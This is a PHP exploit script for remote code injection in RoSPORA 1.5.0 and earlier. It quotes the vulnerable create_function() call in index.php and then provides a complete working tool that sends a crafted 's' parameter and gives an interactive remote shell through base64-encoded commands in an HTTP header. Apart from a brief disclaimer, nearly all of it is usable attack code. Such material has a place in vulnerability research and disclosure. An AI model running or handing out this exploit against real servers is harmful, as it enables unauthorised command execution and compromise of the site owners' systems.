RoSPORA 1.5.0 - Remote PHP Code Injection

<?php

/*
	--------------------------------------------------
	RoSPORA <= 1.5.0 Remote PHP Code Injection Exploit
	--------------------------------------------------
	
	author...: EgiX
	mail.....: n0b0d13s[at]gmail[dot]com
	link.....: http://code.google.com/p/rospora/
	
	This PoC was written for educational purpose. Use it at your own risk.
	Author will be not responsible for any damage.
	
	[-] vulnerable code in /index.php
	
	667.	if (!$sort = &$_GET['s']) $sort=0;
	668.	if (!$flag = &$_GET['f']) $flag=0;
	669.	if ($flag==0)   {       $flag=1; $sort_type='<'; } 
	670.	                else    {       $flag=0; $sort_type='>'; }
	671.	$link=$_SERVER['PHP_SELF']."?f=".$flag."&s=";
	672.	
	673.	if (!empty($pl_array)) 
	674.	        {
	675.	        usort($pl_array, create_function('$a, $b', 'if ( $a['.$sort.'] == $b['.$sort.'] ) return 0; if ( $a['.$sort.'] '.$sort_type.' $b['.$sort.'] ) return -1; return 1;'));
	676.	        }
	
	Input parameter passed through $_GET['s'] isn't properly sanitised before being used in a call to
	"create_function()" at line 675. This can be exploited to inject and execute arbitrary PHP code.

*/

error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);

function http_send($host, $packet)
{
	if (!($sock = fsockopen($host, 80)))
		die("\n[-] No response from {$host}:80\n");

	fputs($sock, $packet);
	return stream_get_contents($sock);
}

print "\n+------------------------------------------------------------+";
print "\n| RoSPORA <= 1.5.0 Remote PHP Code Injection Exploit by EgiX |";
print "\n+------------------------------------------------------------+\n";

if ($argc < 3)
{
	print "\nUsage......: php $argv[0] host path\n";
	print "\nExample....: php $argv[0] localhost /";
	print "\nExample....: php $argv[0] localhost /rospora/\n";
	die();
}

$host = $argv[1];
$path = $argv[2];

$code	 = "0]);}error_reporting(0);print(_code_);passthru(base64_decode(\$_SERVER[HTTP_CMD]));die;%%23";
$packet  = "GET {$path}?s={$code} HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cmd: %s\r\n";
$packet .= "Connection: close\r\n\r\n";

while(1)
{
	print "\nrospora-shell# ";
	if (($cmd = trim(fgets(STDIN))) == "exit") break;
	$response = http_send($host, sprintf($packet, base64_encode($cmd)));
	preg_match("/_code_/", $response) ? print array_pop(explode("_code_", $response)) : die("\n[-] Exploit failed...\n");
}

?>